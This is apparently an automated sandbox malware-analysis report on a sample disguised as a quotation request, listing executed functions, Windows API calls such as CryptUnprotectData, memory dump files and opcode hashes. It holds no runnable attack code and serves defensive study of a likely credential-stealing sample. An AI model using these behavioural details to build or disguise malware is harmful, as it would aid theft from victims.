Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000005.00000002.1661666940.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1661650069.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661681060.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661697008.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
Opcode Fuzzy Hash: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765

Function 00405ABB Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

Analysis Process: REQUEST FOR QUOATION AND PRICES.exePID: 7616, Parent PID: 4256COMMON

Execution Graph

Execution Coverage:	11.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	7.6%
Total number of Nodes:	278
Total number of Limit Nodes:	27

Executed Functions

Function 36DD5B28 Relevance: 3.4, APIs: 2, Instructions: 357
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 36DD5BC0

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 244c07c6c35b0287a51352dd34018495dbae69fc6b372dba90159501d0bf6a57
Instruction ID: da2902b50c883763e5787be6ead9e9a342722a55518a19d7c501579160c40687
Opcode Fuzzy Hash: 244c07c6c35b0287a51352dd34018495dbae69fc6b372dba90159501d0bf6a57
Instruction Fuzzy Hash: CEF1D474E01218CFEB14DFA9C884B9DFBB2BF88304F5481A9D848AB395DB759985CF50

Function 37E5E600 Relevance: 3.3, Strings: 2, Instructions: 764
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p@q, xrefs: 37E5E698
Teq, xrefs: 37E5EFB5

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID: Teq$p@q
API String ID: 0-2716814348
Opcode ID: 53bb3c4fbc63c8a1a5b00d1f511a9c76cb3604d5b75ed72e882d13cc77ea5aa8
Instruction ID: 93876abdf6918aaa97e7f4c2a51ed9cd860d871541cd4c5fba0f3518cf3ebdb7
Opcode Fuzzy Hash: 53bb3c4fbc63c8a1a5b00d1f511a9c76cb3604d5b75ed72e882d13cc77ea5aa8
Instruction Fuzzy Hash: 9582C374A00228CFDB25DF64D954B99BBB2FF89301F5081E9D909A7364CB35AE82DF50

Function 36DF98D0 Relevance: 3.3, Strings: 2, Instructions: 758
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p@q, xrefs: 36DF995D
Teq, xrefs: 36DFA276

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID: Teq$p@q
API String ID: 0-2716814348
Opcode ID: 32438de4642036519058dddd08f60652613c4cadb2e6f8058491db0c30ecd889
Instruction ID: 5f68e182e470dfe80699746b1fa69e8527a05be8d252c38b91cd4e43efa39c5a
Opcode Fuzzy Hash: 32438de4642036519058dddd08f60652613c4cadb2e6f8058491db0c30ecd889
Instruction Fuzzy Hash: 9972D474A00218CFDB24DF64D954B99BBB2FF89301F5081E9D80AA7364CB35AE82DF50

Function 36DD5908 Relevance: 1.8, APIs: 1, Instructions: 261libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 36DD5BC0

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc933529f79f095d85aee42740afd93f9a8f0a90da5a3a5fb87d0b2e6841729a
Instruction ID: 8303b1d130f36cb4924fd099a6b82ced13347dea5ccfd23916531292970d0c2b
Opcode Fuzzy Hash: bc933529f79f095d85aee42740afd93f9a8f0a90da5a3a5fb87d0b2e6841729a
Instruction Fuzzy Hash: 8A919475E007188BEF18EFB9C89079DBBF2AF84310F10956AD419A7391DB359D06CBA1

Function 36DDB4C0 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 36DDBD25

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 5dff6a32f2268e3d58dd9d1aa38fb84a9ec3d00c07103f70d330672837762248
Instruction ID: 4dcfdffd4df660beab55fa408db5371e845980d956e47ef18a6b800002cdeb09
Opcode Fuzzy Hash: 5dff6a32f2268e3d58dd9d1aa38fb84a9ec3d00c07103f70d330672837762248
Instruction Fuzzy Hash: 211144B68003499FDB20DF99C841BEEBBF5EF48320F148419EA14A7210C739A950CFA5

Function 36DDBCBF Relevance: 1.6, APIs: 1, Instructions: 52encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 36DDBD25

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: f07a956f7f3b97ebaebb9121e11a6c33e61c15123e26434c41c1b651d201e644
Instruction ID: f871e8471269a2b57436f3ad275e6ec70010e4628645c03741fdfba69f136e61
Opcode Fuzzy Hash: f07a956f7f3b97ebaebb9121e11a6c33e61c15123e26434c41c1b651d201e644
Instruction Fuzzy Hash: CD1134B68002499FDB20DF99C841BDEBFF5EF48320F148419EA18A7210C739A950DFA1

Function 36DF6130 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 247dd979cd3d6784c7446e5f04d9b6de00d3756637aa372a53bb5c3a09bc05f3
Instruction ID: 8a95a5ddbc1dacea96659236beb053ce9c12b9957138ccf8d9f5f9f9cad9c285
Opcode Fuzzy Hash: 247dd979cd3d6784c7446e5f04d9b6de00d3756637aa372a53bb5c3a09bc05f3
Instruction Fuzzy Hash: A472CFB4E112688FEB64DF69C980BDDBBB2BB49300F1581E9D448AB355DB359E81CF40

Function 36DDA928 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c18a2df091fc54af2736180d217002410269395ecd66ec70f00ac1fdbc7ca6e
Instruction ID: ce139fef13e7e465fdc2d7d93c2aea775e3b2a9b7293c5e6e22e1969350b3725
Opcode Fuzzy Hash: 6c18a2df091fc54af2736180d217002410269395ecd66ec70f00ac1fdbc7ca6e
Instruction Fuzzy Hash: C0E1B1B4E01218CFEB24DFA9C844B9DBBB2BF89304F2081A9D409B7395DB755A85DF50

Function 0011E6A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2532564282.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_110000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad242cb27ee0c6c50802411e7bbf711c4d9ffb9d5dbeda1f811e8a27d162e3e5
Instruction ID: e3b359abd7dbb13caca179c0722c4e5c332607fb2e934a5ea8244d575252383c
Opcode Fuzzy Hash: ad242cb27ee0c6c50802411e7bbf711c4d9ffb9d5dbeda1f811e8a27d162e3e5
Instruction Fuzzy Hash: D6C17E74E00218CFDB28DFA5D954B9DBBB2BF88301F2081A9D809A7355DB359E86DF50

Function 0011EC67 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2532564282.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_110000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c7856943bf5c18445087f9cff04e1ae0a83dbed5b805c6c2931e1b35e30ee7f
Instruction ID: 66a4dd8c7b926dc1c03bb55cdcdd3cd8f158d49b73c124dbfdbe2c491ce2684a
Opcode Fuzzy Hash: 2c7856943bf5c18445087f9cff04e1ae0a83dbed5b805c6c2931e1b35e30ee7f
Instruction Fuzzy Hash: 52A10374D00208CFEB14DFA8D948BDDBBB1FF89314F208269E409AB2A1DB759985CF55

Function 36DF7E40 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4cf50a9e5252e19b9a69bf18a3ea3a279a87cd424c4982bc9532ad025af8c40
Instruction ID: 10e8b5fd8f420c78f1f708644b9ed4bf63e120a3eb3d0143206e2d4b686138d7
Opcode Fuzzy Hash: a4cf50a9e5252e19b9a69bf18a3ea3a279a87cd424c4982bc9532ad025af8c40
Instruction Fuzzy Hash: AEA1A1B4E112288FEB14CF6AD944B9DFBF2BF89300F14C1AAD408AB251DB755A85CF51

Function 36DF77F0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 156b9886a84effc017c8c1d6da80c3c057bfe7bfdfec3b04514705477b4de6fa
Instruction ID: 6198a6540f99fd3a7c223d89b9354b5652d6cc0d1a2b8111a9fc819f2984c1e8
Opcode Fuzzy Hash: 156b9886a84effc017c8c1d6da80c3c057bfe7bfdfec3b04514705477b4de6fa
Instruction Fuzzy Hash: F8A19FB4E012288FEB14CF6AD944BDDBBF2AF89300F15C1AAD40CAB254DB755A85CF50

Function 36DF8490 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46754e034033baa0c6c34a32419b323adb855e17550e24b06fdfa602bdb811be
Instruction ID: 98437ff939290fe76092c6bf79cca3b070be012d0b51fc39682ae33e725453c9
Opcode Fuzzy Hash: 46754e034033baa0c6c34a32419b323adb855e17550e24b06fdfa602bdb811be
Instruction Fuzzy Hash: 3EA180B4E112288FEB24CF6AC944B9DBBF2BF89300F14C1AAD408A7255DB355A85CF51

Function 36DF71A8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18518d48eb3822b339dad7d7bb284fbbcb59d3891d8b21850ae284eaa60f1f9e
Instruction ID: 7eeaecde59b86d6f3f0776ca21bca39f5b42a1d83e664a32efa659330ce85dd6
Opcode Fuzzy Hash: 18518d48eb3822b339dad7d7bb284fbbcb59d3891d8b21850ae284eaa60f1f9e
Instruction Fuzzy Hash: DDA192B4E012288FEB58CF6AD944BDDBBF2BF89300F14C1AAD408A7255DB355A85CF51

Function 0011EFAF Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2532564282.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_110000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b637bd8b6732f250313ec637a11abcc214200e32f7949f3997e1aceaac4cca
Instruction ID: 7b069e68c081741f4651f15745b75864f509f2d06aba58a1dc278973551ed912
Opcode Fuzzy Hash: f9b637bd8b6732f250313ec637a11abcc214200e32f7949f3997e1aceaac4cca
Instruction Fuzzy Hash: BB91E074D00608CFEB14DFA8D988BDCBBB1FF49314F208269E409AB291DB759985CF55

Function 36DF9572 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 632816d4dc5ec4a7b8ba075bc5fd4dbb3d5156d3d34cf974b13ff2b94ca9ab9d
Instruction ID: 6957318a4c13dc03c56bd87064c37c5adcd72eb3371f9e8d1e3ee7a4a66a3e4d
Opcode Fuzzy Hash: 632816d4dc5ec4a7b8ba075bc5fd4dbb3d5156d3d34cf974b13ff2b94ca9ab9d
Instruction Fuzzy Hash: BF81D474E102088FEB14DFAAD94069DBBF2BF88314F248129D455BB394DB369942CF94

Function 36DF6125 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60ca41bff8fc23561419d2405d3b06732d08a426dd0cae2517ca3287099a313a
Instruction ID: b8e5a8e3efb71667e080f9e1bcee1c5f7fcb025549f4d6e9ea573c7f4254cf12
Opcode Fuzzy Hash: 60ca41bff8fc23561419d2405d3b06732d08a426dd0cae2517ca3287099a313a
Instruction Fuzzy Hash: D071A4B5D01228CFDB64CF66C9807DDBBF2BB89300F1491AAD409AB354DB359A86CF40

Function 36DF8481 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bc4cc3e840ea2d084c0a159305eab38ce966aa76a08571b7c0bdceff3f82a98
Instruction ID: 189c4d7fdf6a16fed6e5411cc7ad8b73ba64826cf7c5aebd4469b793af725378
Opcode Fuzzy Hash: 1bc4cc3e840ea2d084c0a159305eab38ce966aa76a08571b7c0bdceff3f82a98
Instruction Fuzzy Hash: D57185B5E006288FEB58CF6AC944B9DFBF2AF89300F14C1AAD40DA7255DB344A85CF51

Function 36DF77E0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7598e940ece75d8068eccd495b491bf57431a9262223f9af42d57e9bbbe82ef
Instruction ID: 673388e67ef1d8e745862420bb6f931f86a05ce0235fdac4f407bafce41a58e1
Opcode Fuzzy Hash: d7598e940ece75d8068eccd495b491bf57431a9262223f9af42d57e9bbbe82ef
Instruction Fuzzy Hash: 16415BB1D016188BEB58CF6BD9557C9FAF3AFC9300F04C1BAC50CA6254DB744A868F51

Function 36DF7E30 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ce9dac4c50f60ffeff36b9ba366ead181890a550852eeabf0adf1593a36f98b
Instruction ID: cd9172d3ce6429b1050f005206c29a6b06ecb17c16ceabe3872cf4278ecc0b98
Opcode Fuzzy Hash: 8ce9dac4c50f60ffeff36b9ba366ead181890a550852eeabf0adf1593a36f98b
Instruction Fuzzy Hash: 194148B1D016188BEB58CF6BD9457CAFAF3AFC9300F14C1AAC50CA6264DB740A868F51

Function 37E505F9 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 37E50686
GetCurrentThread.KERNEL32 ref: 37E506C3
GetCurrentProcess.KERNEL32 ref: 37E50700
GetCurrentThreadId.KERNEL32 ref: 37E50759

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7582a3beddf10ffc366c14a0fd6ade0c2545378003b2342d668ca0da45fb861a
Instruction ID: f7b97d8d6b38ce33bd2308212c95ef645c10293718d4b583be73dff54eac5900
Opcode Fuzzy Hash: 7582a3beddf10ffc366c14a0fd6ade0c2545378003b2342d668ca0da45fb861a
Instruction Fuzzy Hash: 315166B0D007098FDB14DFAAD545BEEBBF1EB88320F208419E019A73A0DB74A941CF65

Function 37E50608 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 37E50686
GetCurrentThread.KERNEL32 ref: 37E506C3
GetCurrentProcess.KERNEL32 ref: 37E50700
GetCurrentThreadId.KERNEL32 ref: 37E50759

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 15d078dfa82fc34ea225c0e01f3e563605f5236abc59722d8b1abd013581ddb1
Instruction ID: 6147ea6b488a28ab6d0834d0b9bf35d8744527de59a652d101f529156358fd78
Opcode Fuzzy Hash: 15d078dfa82fc34ea225c0e01f3e563605f5236abc59722d8b1abd013581ddb1
Instruction Fuzzy Hash: 565155B0D017098FDB14DFAAD545BEEBBF1EB88321F208419E019A7360DB74A945CF65

Function 36DFB028 Relevance: 3.9, Strings: 3, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3YR<^, xrefs: 36DFB0FD, 36DFB102
4'q, xrefs: 36DFB0CD
4'q, xrefs: 36DFB0AA

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID: 4'q$4'q$3YR<^
API String ID: 0-683271351
Opcode ID: 341a71f740d3b841f3ed86dc40c02731754512a9ff6235b46a37eb8d967dcf81
Instruction ID: 0a52bcd8ec9baea130c2d4d6f002e6aa51a6d35b640cf6a78330a29330003b75
Opcode Fuzzy Hash: 341a71f740d3b841f3ed86dc40c02731754512a9ff6235b46a37eb8d967dcf81
Instruction Fuzzy Hash: 0B517270E102099FCB05EFA4E955AEEBBB2FF89300F104169E005BB256DB35AE45CF91

Function 0011FD8C Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0011FEAA

Memory Dump Source

Source File: 0000000A.00000002.2532564282.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_110000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 25edcae13f0dbb12f3b20f1edfb5b70ea96ded52734e6d80573542d6aa6e7067
Instruction ID: bc22830e024c8e17d6deebc05f55c6c8f1771cf680593c08678f4c508388409f
Opcode Fuzzy Hash: 25edcae13f0dbb12f3b20f1edfb5b70ea96ded52734e6d80573542d6aa6e7067
Instruction Fuzzy Hash: 5C51C0B1D003099FDB14CF9AC880ADEFBB1BF48310F65812AE819AB211D7759986CF90

Function 0011FD98 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0011FEAA

Memory Dump Source

Source File: 0000000A.00000002.2532564282.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_110000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 6407684c3da4415aeac9df6dc649585aa2119b9798054e350942c74cda4e641e
Instruction ID: c2e614d7b155ec652e2a890ee7641e88e4aaa4e0d8a8a15e6cfc64470e4ddac4
Opcode Fuzzy Hash: 6407684c3da4415aeac9df6dc649585aa2119b9798054e350942c74cda4e641e
Instruction Fuzzy Hash: 3641B0B1D00309DFDB14CF9AD884ADEBBB5BF48310F25822EE819AB251D7759985CF90

Function 37E514E4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 37E51B21

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: d8f90bf193cd838796cfeab0a912edc5e48636d732e54c51bb63525ea7fc344b
Instruction ID: 7d2da09a50495cddaf834494b231e753c0c3c522975a574ad73aac6337e3d21e
Opcode Fuzzy Hash: d8f90bf193cd838796cfeab0a912edc5e48636d732e54c51bb63525ea7fc344b
Instruction Fuzzy Hash: DD4119B8900309DFDB14CF95C885BAABBF5FF88324F25C459D519AB321D775A841CBA0

Function 37E5C420 Relevance: 1.6, APIs: 1, Instructions: 75comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 37E5D2B5

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 358025617d2c66fd065257e4bfb9a277210bbc570b7cbad7266cc4427410a705
Instruction ID: 792dbc92a4549b645e2eb773185be08d5baa928b6a5e9b92aa166fd3a2be039d
Opcode Fuzzy Hash: 358025617d2c66fd065257e4bfb9a277210bbc570b7cbad7266cc4427410a705
Instruction Fuzzy Hash: 4121C7B1C093998FDB12DFA9C4557CABFF0EF06220F15409EC094EB252D7789949CBA6

Function 37E50849 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 37E508D7

Memory Dump Source

Source File: 0000000A.00000002.2558925034.0000000037E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_37e50000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7b53139e7b944c4f23e065120b6c7b3991b66d4c0476f1428a05e883832ee6b1
Instruction ID: 08682508ef9e6e580b5dd5ab1905a5c57d65d390d9fe5770ce634bfb05461144
Opcode Fuzzy Hash: 7b53139e7b944c4f23e065120b6c7b3991b66d4c0476f1428a05e883832ee6b1
Instruction Fuzzy Hash: 7721D4B5D0024CAFDB10CFAAD580ADEBBF5EB48320F14841AE954A7310D378A940CFA5

